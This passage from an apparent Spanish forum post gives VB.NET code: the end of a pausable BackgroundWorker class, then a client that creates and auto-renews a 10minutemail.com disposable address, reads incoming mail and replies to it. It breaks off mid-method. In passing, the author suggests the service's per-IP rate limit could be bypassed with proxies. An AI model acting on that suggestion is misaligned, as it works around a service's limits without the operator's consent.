''' call the <see cref="ElektroBackgroundWorker.Pause"/> method.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <exception cref="InvalidOperationException">
''' In order to request a pause of the BackgroundWorker, the background operation must be running.
''' </exception>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
Public Overridable Sub RequestPause()
If (Me Is Nothing) Then
Throw New ObjectDisposedException(objectName:="Me")
Else
Select Case Me.stateB
Case ElektroBackgroundWorkerState.Running
Me.isPauseRequested = True
Me.stateB = ElektroBackgroundWorkerState.Paused
Me.mreAsync.Reset()
Case Else
Throw New InvalidOperationException("In order to request a pause of the BackgroundWorker, the background operation must be running..")
End Select
End If
End Sub
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Resume a pending paused background operation.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <exception cref="InvalidOperationException">
''' In order to resume the BackgroundWorker, the background operation must be paused.
''' </exception>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
Public Overridable Sub [Resume]()
If (Me Is Nothing) Then
Throw New ObjectDisposedException(objectName:="Me")
Else
Select Case Me.stateB
Case ElektroBackgroundWorkerState.Paused
Me.stateB = ElektroBackgroundWorkerState.Running
Me.isPauseRequested = False
Me.mreAsync.Set()
Case Else
Throw New InvalidOperationException("In order to resume the BackgroundWorker, the background operation must be paused.")
End Select
End If
End Sub
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Requests cancellation of a pending background operation.
''' <para></para>
''' It blocks the caller thread until the remaining background work is canceled.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <exception cref="InvalidOperationException">
''' In order to cancel the BackgroundWorker, the background operation must be running or paused.
''' </exception>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
Public Overridable Sub Cancel()
Me.isCancelSyncRequested = True
Me.CancelAsync()
Me.mreSync.WaitOne()
Me.isCancelSyncRequested = False
End Sub
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Asynchronously requests cancellation of a pending background operation.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <exception cref="InvalidOperationException">
''' In order to cancel the BackgroundWorker, the background operation must be running or paused.
''' </exception>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
Public Overridable Overloads Sub CancelAsync()
If (Me Is Nothing) Then
Throw New ObjectDisposedException(objectName:="Me")
Else
Select Case Me.stateB
Case ElektroBackgroundWorkerState.CancellationPending
Exit Sub
Case ElektroBackgroundWorkerState.Running, ElektroBackgroundWorkerState.Paused
Me.mreAsync.Set() ' Resume thread if it is paused.
Me.stateB = ElektroBackgroundWorkerState.CancellationPending
MyBase.CancelAsync() ' Cancel it.
Case Else
Throw New InvalidOperationException("In order to cancel the BackgroundWorker, the background operation must be running or paused.")
End Select
End If
End Sub
#End Region
#Region " Event Invocators "
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Raises the <see cref="BackgroundWorker.DoWork"/> event.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <param name="e">
''' An <see cref="EventArgs"/> that contains the event data.
''' </param>
''' ----------------------------------------------------------------------------------------------------
Protected Overrides Sub OnDoWork(e As DoWorkEventArgs)
MyBase.OnDoWork(e)
If (Me.isRunSync) OrElse (Me.isCancelSyncRequested) Then
Me.mreSync.Set()
End If
End Sub
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Raises the <see cref="BackgroundWorker.ProgressChanged"/> event.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <param name="e">
''' An <see cref="ProgressChangedEventArgs"/> that contains the event data.
''' </param>
''' ----------------------------------------------------------------------------------------------------
Protected Overrides Sub OnProgressChanged(e As ProgressChangedEventArgs)
MyBase.OnProgressChanged(e)
End Sub
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Raises the <see cref="BackgroundWorker.RunWorkerCompleted"/> event.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <param name="e">
''' An <see cref="RunWorkerCompletedEventArgs"/> that contains the event data.
''' </param>
''' ----------------------------------------------------------------------------------------------------
Protected Overrides Sub OnRunWorkerCompleted(e As RunWorkerCompletedEventArgs)
Me.stateB = ElektroBackgroundWorkerState.Completed
MyBase.OnRunWorkerCompleted(e)
End Sub
#End Region
#Region " Hidden Base Members "
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Starts execution of a background operation.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
<EditorBrowsable(EditorBrowsableState.Never)>
<DebuggerStepThrough>
Public Overridable Shadows Sub RunWorkerAsync()
MyBase.RunWorkerAsync()
End Sub
#End Region
#Region " IDisposable Implementation "
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources.
''' <para></para>
''' Releases unmanaged and, optionally, managed resources.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <param name="isDisposing">
''' <see langword="True"/> to release both managed and unmanaged resources;
''' <see langword="False"/> to release only unmanaged resources.
''' </param>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
Protected Overrides Sub Dispose(isDisposing As Boolean)
MyBase.Dispose(isDisposing)
If (isDisposing) Then
Me.mreSync.SafeWaitHandle.Close()
Me.mreSync.SafeWaitHandle.Dispose()
Me.mreSync.Close()
Me.mreSync.Dispose()
Me.mreAsync.SafeWaitHandle.Close()
Me.mreAsync.SafeWaitHandle.Dispose()
Me.mreAsync.Close()
Me.mreAsync.Dispose()
Me.isRunSync = False
Me.stateB = ElektroBackgroundWorkerState.Stopped
End If
End Sub
#End Region
End Class
' End Namespace
#End Region
+
' ***********************************************************************
' Author : Elektro
' Modified : 02-February-2018
' ***********************************************************************
#Region " Option Statements "
Option Strict On
Option Explicit On
Option Infer Off
#End Region
#Region " Imports "
' Imports ElektroKit.Core.Threading.Types
#End Region
#Region " ElektroBackgroundWorker State "
' Namespace Threading.Enums
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Specifies the state of a <see cref="ElektroBackgroundWorker"/>.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
Public Enum ElektroBackgroundWorkerState As Integer
''' <summary>
''' The <see cref="ElektroBackgroundWorker"/> is stopped.
''' </summary>
Stopped = 0
''' <summary>
''' The <see cref="ElektroBackgroundWorker"/> is running.
''' </summary>
Running = 1
''' <summary>
''' The <see cref="ElektroBackgroundWorker"/> is paused.
''' </summary>
Paused = 2
''' <summary>
''' The <see cref="ElektroBackgroundWorker"/> is pending on a cancellation.
''' </summary>
CancellationPending = 3
''' <summary>
''' The <see cref="ElektroBackgroundWorker"/> is completed (stopped).
''' </summary>
Completed = 4
End Enum
' End Namespace
#End Region
Ejemplo de uso:
Friend WithEvents Worker As ElektroBackgroundWorker
Private Sub Button_Run_Click() Handles Button_Run.Click
If (Me.Worker IsNot Nothing) Then
Select Case Me.Worker.State
Case ElektroBackgroundWorkerState.Running, ElektroBackgroundWorkerState.Paused
Me.Worker.Cancel()
Case Else
' Do Nothing.
End Select
End If
Me.Worker = New ElektroBackgroundWorker
Me.Worker.RunAsync()
End Sub
Private Sub Button_Pause_Click() Handles Button_Pause.Click
Me.Worker.RequestPause()
End Sub
Private Sub Button_Resume_Click() Handles Button_Resume.Click
Me.Worker.Resume()
End Sub
Private Sub Button_Cancel_Click() Handles Button_Cancel.Click
Me.Worker.Cancel()
End Sub
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Handles the <see cref="ElektroBackgroundWorker.DoWork"/> event of the <see cref="Worker"/> instance.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <param name="sender">
''' The source of the event.
''' </param>
'''
''' <param name="e">
''' The <see cref="DoWorkEventArgs"/> instance containing the event data.
''' </param>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepperBoundary>
Private Sub Worker_DoWork(ByVal sender As Object, ByVal e As DoWorkEventArgs) _
Handles Worker.DoWork
Dim progress As Integer
Dim lock As Object = ""
SyncLock lock
For i As Integer = 0 To 100
If (Me.Worker.CancellationPending) Then ' Cancel the background operation.
e.Cancel = True
Exit For
Else
If (Me.Worker.PausePending) Then ' Pause the background operation.
Me.Worker.Pause() ' Blocking pause call.
End If
Me.DoSomething()
If Me.Worker.WorkerReportsProgress Then
progress = i
Me.Worker.ReportProgress(progress)
End If
End If
Next i
End SyncLock
If (Me.Worker.WorkerReportsProgress) AndAlso Not (Me.Worker.CancellationPending) AndAlso (progress < 100) Then
Me.Worker.ReportProgress(percentProgress:=100)
End If
End Sub
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Handles the <see cref="ElektroBackgroundWorker.ProgressChanged"/> event of the <see cref="Worker"/> instance.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <param name="sender">
''' The source of the event.
''' </param>
'''
''' <param name="e">
''' The <see cref="ProgressChangedEventArgs"/> instance containing the event data.
''' </param>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepperBoundary>
Private Sub Worker_ProgressChanged(ByVal sender As Object, ByVal e As ProgressChangedEventArgs) _
Handles Worker.ProgressChanged
Console.WriteLine(String.Format("Background Work Progress: {00}%", e.ProgressPercentage))
End Sub
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Handles the <see cref="ElektroBackgroundWorker.RunWorkerCompleted"/> event of the <see cref="Worker"/> instance.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <param name="sender">
''' The source of the event.
''' </param>
'''
''' <param name="e">
''' The <see cref="RunWorkerCompletedEventArgs"/> instance containing the event data.
''' </param>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepperBoundary>
Private Sub Worker_RunWorkerCompleted(ByVal sender As Object, ByVal e As RunWorkerCompletedEventArgs) _
Handles Worker.RunWorkerCompleted
If (e.Cancelled) Then
Debug.WriteLine("Background work cancelled.")
ElseIf (e.Error IsNot Nothing) Then
Debug.WriteLine("Background work error.")
Else
Debug.WriteLine("Background work done.")
End If
Console.WriteLine(String.Format("State: {0}", Me.Worker.State.ToString()))
End Sub
<DebuggerStepperBoundary>
Private Sub DoSomething()
Thread.Sleep(TimeSpan.FromSeconds(1))
End Sub
¿Cómo crear y administrar una cuenta de correo deshechable/temporal?.El siguiente código que voy a mostrar sirve para crear una cuenta de correo temporal usando el servicio https://10minutemail.com/, leer e-mails entrantes, y responderlos.
Hasta donde han llegado mis análisis y experimentos todo parece indicar que funciona como es esperado. Si encuentran algún problema háganmelo saber para corregir el código.
LO BUENO:
- Renovación automática del tiempo de vida de la dirección deshechable. Dicho de otro modo: la dirección de correo NO expira... hasta que se libere la instancia de clase.
- Implementación thread-safe.
- Implementación orientada a eventos.
- Funcionalidad para obtener y leer los correos entrantes.
- Funcionalidad para responder a correos entrantes usando la dirección de correo deshechable.
- Simple, abstracto, es muy sencillo de usar.
LO MALO:
- No añadí soporte para leer archivos adjuntos en los mails recibidos.
No añadí soporte para responder a un destinatario de un mail recibido.- 10minutemail.com es un servicio gratuito y por ende también limitado, solo permite crear alrededor de 3-5 direccioens e-mail por minuto y por IP.
Sin embargo, probablemente esta limitación se podría bypassear usando proxies.
1.
Primero de todo he creado una interfaz con nombre
IDisposableMail, la cual podremos rehutilizar en el futuro para representar cualquier otro servicio de correo temporal similar a https://10minutemail.com/. Evidentemente pueden extender la interfaz si lo desean.
#Region " Imports "
Imports System.Net.Mail
#End Region
#Region " IDisposableMail "
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Represents a disposable mail address.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <remarks>
''' Wikipedia article: <see href="https://en.wikipedia.org/wiki/Disposable_email_address"/>
''' </remarks>
''' ----------------------------------------------------------------------------------------------------
Public Interface IDisposableMail
#Region " Events "
''' <summary>
''' Occurs when a new inbox message arrived.
''' </summary>
Event MailMessageArrived As EventHandler(Of MailMessageArrivedEventArgs)
#End Region
#Region " (Public) Methods "
''' <summary>
''' Creates a new temporary mail address.
''' </summary>
''' <param name="updateInterval">
''' The time interval to check for new incoming mail messages.
''' </param>
Sub CreateNew(ByVal updateInterval As TimeSpan)
''' <summary>
''' Renews the life-time for the current temporary mail address.
''' </summary>
Sub Renew()
#End Region
#Region " (Private) Functions "
''' <summary>
''' Gets the mail address.
''' </summary>
''' <returns>
''' The mail address.
''' </returns>
Function GetMailAddress() As MailAddress
''' <summary>
''' Gets the inbox message count.
''' </summary>
''' <returns>
''' The inbox message count.
''' </returns>
Function GetMessageCount() As Integer
''' <summary>
''' Gets the inbox messages.
''' </summary>
''' <returns>
''' The inbox messages.
''' </returns>
Function GetMessages() As IEnumerable(Of MailMessage)
''' <summary>
''' Gets the time left to expire the current temporary mail address.
''' </summary>
''' <returns>
''' The time left to expire the current temporary mail address.
''' </returns>
Function GetExpirationTime() As TimeSpan
#End Region
End Interface
#End Region
2.
Para el evento
IDisposableMail.MailMessageArrived creé la siguiente clase con nombre
MailMessageArrivedEventArgs, la cual proveerá los datos del evento:
#Region " Imports "
Imports System.Net.Mail
Imports System.Runtime.InteropServices
#End Region
#Region " MailMessageArrivedEventArgs "
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Represents the event data for the <see cref="IDisposableMail.MailMessageArrived"/> event.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <seealso cref="EventArgs" />
''' ----------------------------------------------------------------------------------------------------
<ComVisible(True)>
Public NotInheritable Class MailMessageArrivedEventArgs : Inherits EventArgs
#Region " Properties "
''' <summary>
''' Gets the mail message.
''' </summary>
''' <value>
''' The mail message.
''' </value>
Public ReadOnly Property MailMessage As MailMessage
#End Region
#Region " Constructors "
''' <summary>
''' Initializes a new instance of the <see cref="MailMessageArrivedEventArgs"/> class.
''' </summary>
''' <param name="msg">
''' The mail message that arrived.
''' </param>
Public Sub New(ByVal msg As MailMessage)
Me.MailMessage = msg
End Sub
#End Region
End Class
#End Region3.
Seguidamente, extendí la clase
WebClient para añadirle soporte para el uso de
cookies, esto no es estrictamente necesario, la alternativa sería usar la clase
HttpWeRequest y etc, pero de esta forma añadimos cierto nivel de abstracción adicional en la clase
WebClient para poder utilizarla para este fin, y así podremos simplificar mucho el código necesario para escribir las solicitudes/requests al servicio de 10minutemail.com...
#Region " Imports "
Imports System.ComponentModel
Imports System.Drawing
Imports System.Net
Imports System.Runtime.InteropServices
#End Region
#Region " ElektroWebClient "
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Represents a <see cref="WebClient"/> with support for cookies.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <remarks>
''' Original idea taken from: http://www.codingvision.net/tips-and-tricks/c-webclient-with-cookies
''' </remarks>
''' ----------------------------------------------------------------------------------------------------
<DisplayName("ElektroWebClient")>
<Description("A extended WebClient component, with support for cookies.")>
<DesignTimeVisible(False)>
<DesignerCategory("Component")>
<ToolboxBitmap(GetType(Component), "Component.bmp")>
<ToolboxItemFilter("System.Windows.Forms", ToolboxItemFilterType.Allow)>
<ComVisible(True)>
Public Class ElektroWebClient : Inherits WebClient
#Region " Properties "
''' <summary>
''' Gets or sets a value indicating whether cookies are enabled.
''' </summary>
''' <value>
''' <see langword="True"/> if cookies are enabled; otherwise, <see langword="False"/>.
''' </value>
Public Property CookiesEnabled As Boolean
''' <summary>
''' Gets the cookies.
''' </summary>
''' <value>
''' The cookies.
''' </value>
Public ReadOnly Property Cookies As CookieContainer
Get
Return Me.cookiesB
End Get
End Property
''' <summary>
''' (Backing field)
''' <para></para>
''' The cookies.
''' </summary>
Private cookiesB As CookieContainer
#End Region
#Region " Constructors "
''' <summary>
''' Initializes a new instance of the <see cref="ElektroWebClient"/> class.
''' </summary>
Public Sub New()
MyBase.New()
End Sub
#End Region
#Region " Inherited Methods "
''' <summary>
''' Returns a <see cref="WebRequest"/> object for the specified resource.
''' </summary>
''' <param name="address">
''' A <see cref="Uri"/> that identifies the resource to request.
''' </param>
''' <returns>
''' A new <see cref="WebRequest"/> object for the specified resource.
''' </returns>
Protected Overrides Function GetWebRequest(ByVal address As Uri) As WebRequest
If Not (Me.CookiesEnabled) Then
Return MyBase.GetWebRequest(address)
End If
Dim request As WebRequest = MyBase.GetWebRequest(address)
If (TypeOf request Is HttpWebRequest) Then
If (Me.cookiesB Is Nothing) Then
Me.cookiesB = New CookieContainer()
End If
DirectCast(request, HttpWebRequest).CookieContainer = Me.cookiesB
End If
Return request
End Function
#End Region
End Class
#End Region
4.
Esta es la última pieza de toda esta implementación, una clase con nombre
TenMinuteMail que nos servirá para representar y administrar el correo deshechable...
#Region " Imports "
Imports System.Diagnostics.CodeAnalysis
Imports System.Linq
Imports System.Net
Imports System.Net.Mail
Imports System.Runtime.Serialization.Json
Imports System.Text
Imports System.Threading
Imports System.Web
Imports System.Xml
#End Region
#Region " TenMinuteMail "
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Creates and manages a temporary mail address using the https://10minutemail.com/ service.
''' <para></para>
''' Be aware the mail address will expire in approx. 10 minutes after calling the <see cref="TenMinuteMail.Dispose()"/> method.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <seealso cref="IDisposableMail"/>
''' <seealso cref="IDisposable"/>
''' ----------------------------------------------------------------------------------------------------
Public Class TenMinuteMail : Implements IDisposableMail, IDisposable
#Region " Properties "
''' <summary>
''' Gets the mail address.
''' </summary>
''' <value>
''' The mail address.
''' </value>
Public ReadOnly Property MailAddress As MailAddress
Get
Return Me.mailAddressB
End Get
End Property
''' <summary>
''' (Backing field) The current mail address.
''' </summary>
Private mailAddressB As MailAddress
''' <summary>
''' Gets the message count.
''' </summary>
''' <value>
''' The message count.
''' </value>
Public ReadOnly Property MessageCount As Integer
Get
Return Me.GetMessageCount()
End Get
End Property
''' <summary>
''' Gets the inbox messages.
''' </summary>
''' <value>
''' The inbox messages.
''' </value>
Public Overridable ReadOnly Property Messages As IEnumerable(Of MailMessage)
Get
Return Me.GetMessages()
End Get
End Property
''' <summary>
''' Gets the inbox message with the specified message id.
''' </summary>
''' <param name="id">
''' The message id.
''' </param>
''' <value>
''' The inbox message with the specified message id.
''' </value>
Public Overridable ReadOnly Property Messages(ByVal id As String) As MailMessage
Get
Return Me.GetMessage(id)
End Get
End Property
''' <summary>
''' Gets a value indicating whether the temporary mail service is blocked.
''' <para></para>
''' If <see langword="True"/>,
''' this means you have requested too many temporary mail addresses from your IP address too quickly.
''' <para></para>
''' And you must wait some minutes to be able use 10minutemail.com service again.
''' </summary>
''' <value>
''' If <see langword="True"/>,
''' this means you have requested too many temporary mail addresses from your IP address too quickly.
''' <para></para>
''' And you must wait some minutes to be able use 10minutemail.com service again.; otherwise, <see langword="False"/>.
''' </value>
Public ReadOnly Property IsBlocked As Boolean
Get
If Not (Me.isBlockedB) Then
Me.isBlockedB = Me.GetIsBlocked()
End If
Return isBlockedB
End Get
End Property
''' <summary>
''' ( Backing field)
''' <para></para>
''' Gets a value indicating whether the temporary mail service is blocked.
''' <para></para>
''' If <see langword="True"/>,
''' this means you have requested too many temporary mail addresses from your IP address too quickly.
''' <para></para>
''' And you must wait some minutes to be able use 10minutemail.com service again.
''' </summary>
Private isBlockedB As Boolean
#End Region
#Region " Fields "
#Region " Common "
''' <summary>
''' The <see cref="ElektroWebClient"/> instance that manage cookies and requests to https://10minutemail.com/.
''' </summary>
Protected Client As ElektroWebClient
''' <summary>
''' A <see cref="Timer"/> instance that will renew the life-time of the temporary mail address,
''' and check for new incoming mail messages.
''' </summary>
Protected TimerUpdate As Timer
''' <summary>
''' A counter to keep track of the current mail message count, and so detect new incoming mail messages.
''' </summary>
Private messageCounter As Integer
#End Region
#Region " Uris "
''' <summary>
''' The Uri that points to the main site.
''' </summary>
Protected uriBase As Uri
''' <summary>
''' The Uri that points to the address resource.
''' </summary>
Protected uriAddress As Uri
''' <summary>
''' The Uri that points to the blocked resource.
''' </summary>
Protected uriBlocked As Uri
''' <summary>
''' The Uri that points to the messagecount resource.
''' </summary>
Protected uriMessageCount As Uri
''' <summary>
''' The Uri that points to the messages resource.
''' </summary>
Protected uriMessages As Uri
''' <summary>
''' The Uri that points to the reply resource.
''' </summary>
Protected uriReply As Uri
''' <summary>
''' The Uri that points to the reset resource.
''' </summary>
Protected uriReset As Uri
''' <summary>
''' The Uri that points to the secondsleft resource.
''' </summary>
Protected uriSecondsLeft As Uri
#End Region
#End Region
#Region " Events "
''' <summary>
''' Occurs when a new inbox message arrived.
''' </summary>
Public Event MailMessageArrived As EventHandler(Of MailMessageArrivedEventArgs) Implements IDisposableMail.MailMessageArrived
#End Region
#Region " Constructors "
''' <summary>
''' Initializes a new instance of the <see cref="TenMinuteMail"/> class.
''' </summary>
<DebuggerStepThrough>
Public Sub New()
Me.New(TimeSpan.FromSeconds(10))
End Sub
''' <summary>
''' Initializes a new instance of the <see cref="TenMinuteMail"/> class.
''' </summary>
''' <param name="updateInterval">
''' The time interval to check for new incoming messages.
''' <para></para>
''' Be aware that 10minutemail.com server's update interval are 10 seconds by default.
''' </param>
''' <exception cref="ArgumentException">
''' Update interval must be in range between 10 to 60 seconds. - updateInterval
''' </exception>
<SuppressMessage("Microsoft.Usage", "CA2214:DoNotCallOverridableMethodsInConstructors", Justification:="Don't panic")>
<DebuggerStepThrough>
Public Sub New(ByVal updateInterval As TimeSpan)
Me.uriBase = New Uri("https://10minutemail.com/")
Me.uriAddress = New Uri(Me.uriBase, "/10MinuteMail/resources/session/address")
Me.uriBlocked = New Uri(Me.uriBase, "/10MinuteMail/resources/session/blocked")
Me.uriMessageCount = New Uri(Me.uriBase, "/10MinuteMail/resources/messages/messageCount")
Me.uriMessages = New Uri(Me.uriBase, "/10MinuteMail/resources/messages")
Me.uriReply = New Uri(Me.uriBase, "/10MinuteMail/resources/messages/reply")
Me.uriReset = New Uri(Me.uriBase, "/10MinuteMail/resources/session/reset")
Me.uriSecondsLeft = New Uri(Me.uriBase, "/10MinuteMail/resources/session/secondsLeft")
Me.CreateNew(updateInterval)
End Sub
#End Region
#Region " Public Methods "
''' <summary>
''' Creates a new temporary mail address.
''' </summary>
''' <param name="updateInterval">
''' The time interval to check for new incoming messages.
''' <para></para>
''' Be aware that 10minutemail.com server's update interval are 10 seconds by default.
''' </param>
''' <exception cref="ArgumentException">
''' Update interval must be in range between 10 to 60 seconds. - updateInterval
''' </exception>
<DebuggerStepThrough>
Public Overridable Sub CreateNew(ByVal updateInterval As TimeSpan) Implements IDisposableMail.CreateNew
Dim totalMilliseconds As Integer = Convert.ToInt32(updateInterval.TotalMilliseconds)
Select Case totalMilliseconds
Case Is < 10000 ' 10 seconds.
Throw New ArgumentException("Update interval must be in range between 10 to 60 seconds.", "updateInterval")
Case Is > 60000 ' 1 minute.
Throw New ArgumentException("Update interval must be in range between 10 to 60 seconds.", "updateInterval")
Case Else
If (Me.TimerUpdate IsNot Nothing) Then
Me.TimerUpdate.Change(Timeout.Infinite, Timeout.Infinite)
End If
If (Me.Client IsNot Nothing) Then
Me.Client.Dispose()
Me.Client = Nothing
End If
Me.isBlockedB = False
Me.mailAddressB = Nothing
Me.messageCounter = 0
Me.Client = New ElektroWebClient() With {.CookiesEnabled = True, .Encoding = Encoding.UTF8}
Me.mailAddressB = Me.GetMailAddress()
Me.TimerUpdate = New Timer(AddressOf Me.UpdateTimer_CallBack, Me, totalMilliseconds, totalMilliseconds)
End Select
End Sub
''' <summary>
''' Replies to a <see cref="MailMessage"/> with the specified message id.
''' </summary>
''' <param name="msgId">
''' The message id of the <see cref="MailMessage"/>.
''' </param>
'''
''' <param name="body">
''' The body.
''' </param>
Public Overridable Sub Reply(ByVal msgId As String, ByVal body As String)
Me.Reply(Me.Messages(msgId), body)
End Sub
''' <summary>
''' Replies to the specified <see cref="MailMessage"/>.
''' </summary>
''' <param name="msg">
''' The <see cref="MailMessage"/>.
''' </param>
'''
''' <param name="body">
''' The body.
''' </param>
Public Overridable Sub Reply(ByVal msg As MailMessage, ByVal body As String)
Dim msgId As String = msg.Headers.Item("msgId")
Dim parameters As String = String.Format("messageId={0}&replyBody=""{1}""", msgId, HttpUtility.UrlEncode(body))
Dim result As String
SyncLock (Me.Client)
Me.Client.Headers(HttpRequestHeader.ContentType) = "application/x-www-form-urlencoded"
result = Me.Client.UploadString(Me.uriReply, "POST", parameters)
Me.Client.Headers.Remove(HttpRequestHeader.ContentType)
End SyncLock
' ToDo: need to improve...
If Not String.IsNullOrEmpty(result) Then
' ...
End If
End Sub
#End Region
#Region " Private/Protected Methods "
''' <summary>
''' Gets the mail address.
''' </summary>
''' <returns>
''' The mail address.
''' </returns>
''' <exception cref="WebException">
''' You have requested too many temporary mail addresses from your IP address too quickly.
''' Please wait some minutes and try again.
''' </exception>
<DebuggerStepThrough>
Protected Overridable Function GetMailAddress() As MailAddress Implements IDisposableMail.GetMailAddress
If (Me.IsBlocked) Then
Throw New WebException("You have requested too many temporary mail addresses from your IP address too quickly. Please wait some minutes and try again.")
End If
If (Me.mailAddressB Is Nothing) Then
SyncLock (Me.Client)
Dim value As String = Me.Client.DownloadString(Me.uriAddress)
Me.mailAddressB = New MailAddress(value, "TenMinuteMail", Encoding.Default)
End SyncLock
End If
Return Me.mailAddressB
End Function
''' <summary>
''' Gets the inbox message count.
''' </summary>
''' <returns>
''' The inbox message count.
''' </returns>
''' <exception cref="WebException">
''' You have requested too many temporary mail addresses from your IP address too quickly.
''' Please wait some minutes and try again.
''' </exception>
<DebuggerStepThrough>
Protected Overridable Function GetMessageCount() As Integer Implements IDisposableMail.GetMessageCount
If (Me.IsBlocked) Then
Throw New WebException("You have requested too many temporary mail addresses from your IP address too quickly. Please wait some minutes and try again.")
End If
SyncLock (Me.Client)
Dim value As String = Me.Client.DownloadString(Me.uriMessageCount)
Return Convert.ToInt32(value)
End SyncLock
End Function
''' <summary>
''' Gets the inbox message with the specified message id.
''' </summary>
''' <param name="id">
''' The message id.
''' </param>
''' <returns>
''' The inbox message with the specified message id.
''' </returns>
''' <exception cref="WebException">
''' You have requested too many temporary mail addresses from your IP address too quickly.
''' Please wait some minutes and try again.
''' </exception>
<DebuggerStepThrough>
Protected Overridable Function GetMessage(ByVal id As String) As MailMessage
Return (From msg As MailMessage In Me.GetMessages()
Where msg.Headers("msgId").Equals(id, StringComparison.OrdinalIgnoreCase)
).Single()
End Function
''' <summary>
''' Gets the inbox messages.
''' </summary>
''' <returns>
''' The inbox messages.
''' </returns>
''' <exception cref="WebException">
''' You have requested too many temporary mail addresses from your IP address too quickly.
''' Please wait some minutes and try again.
''' </exception>
<DebuggerStepThrough>
Protected Overridable Iterator Function GetMessages() As IEnumerable(Of MailMessage) Implements IDisposableMail.GetMessages
If (Me.IsBlocked) Then
Throw New WebException("You have requested too many temporary mail addresses from your IP address too quickly. Please wait some minutes and try again.")
End If
If (Me.GetMessageCount = 0) Then
Exit Function
End If
SyncLock (Me.Client)
Dim src As Byte() = Me.Client.DownloadData(Me.uriMessages)
Using xmlReader As XmlDictionaryReader =
JsonReaderWriterFactory.CreateJsonReader(src, 0, src.Length, Encoding.UTF8, New XmlDictionaryReaderQuotas, Nothing)
Dim xml As XElement = XElement.Load(xmlReader)
If (xml Is Nothing) Then
Exit Function
End If
For Each item As XElement In xml.Elements("item")
Dim recipientList As XElement = item.<recipientList>.Single()
Dim primaryFromAddress As String = item.<primaryFromAddress>.Value
Dim subject As String = item.<subject>.Value
Dim body As String = item.<bodyText>.Value
' Get the message id. to identify and reply the message:
Dim id As String = item.<id>.Value
' ToDO: attachment support.
' Dim attachmentCount As Integer = Convert.ToInt32(item.<attachmentCount>.Value)
' Dim attachments As XElement = item.<attachments>.Single()
' ...
' MailMessage.Attachments.Add(New Attachment( ... , MediaTypeNames.Application.Octet))
Dim msg As New MailMessage()
With msg
.BodyEncoding = Encoding.UTF8
' .HeadersEncoding = Encoding.UTF8
.SubjectEncoding = Encoding.UTF8
.Headers.Add("msgId", id) ' store the message id. in the headers.
.From = New MailAddress(primaryFromAddress, "primaryFromAddress", Encoding.UTF8)
.Subject = subject
.IsBodyHtml = True
.Body = body
End With
For Each recipient As XElement In recipientList.Elements("item")
msg.To.Add(New MailAddress(recipient.Value))
Next recipient
Yield msg
Next item
End Using
End SyncLock
End Function
''' <summary>
''' Gets the time left to expire the current temporary mail address.
''' </summary>
''' <returns>
''' The time left to expire the current temporary mail address.
''' </returns>
<DebuggerStepThrough>
Protected Overridable Function GetExpirationTime() As TimeSpan Implements IDisposableMail.GetExpirationTime
Throw New NotImplementedException("The implementation is not necessary for 10minutemail.com service.")
End Function
''' <summary>
''' Gets a value indicating whether the current temporary mail is blocked.
''' <para></para>
''' If <see langword="True"/>,
''' this means you have requested too many temporary mail addresses from your IP address too quickly.
''' <para></para>
''' And you must wait some minutes to be able use 10minutemail.com service again.
''' </summary>
''' <returns>
''' <para></para>
''' If <see langword="True"/>,
''' this means you have requested too many temporary mail addresses from your IP address too quickly.
''' <para></para>
''' And you must wait some minutes to be able use 10minutemail.com service again.
''' </returns>
<DebuggerStepThrough>
Protected Overridable Function GetIsBlocked() As Boolean
SyncLock (Me.Client)
Dim value As String = Me.Client.DownloadString(Me.uriBlocked)
Return CBool(value)
End SyncLock
End Function
''' <summary>
''' Renews the life-time for the current temporary mail address.
''' </summary>
''' <exception cref="WebException">
''' You have requested too many temporary mail addresses from your IP address too quickly.
''' Please wait some minutes and try again.
''' </exception>
'''
''' <exception cref="NotSupportedException">
''' Unexpected response value: '{value}'
''' </exception>
<DebuggerStepThrough>
Protected Overridable Sub Renew() Implements IDisposableMail.Renew
If (Me.IsBlocked) Then
Throw New WebException("You have requested too many temporary mail addresses from your IP address too quickly. Please wait some minutes and try again.")
End If
SyncLock (Me.Client)
Dim value As String = Me.Client.DownloadString(Me.uriReset)
If Not (value.Equals("reset", StringComparison.OrdinalIgnoreCase)) Then
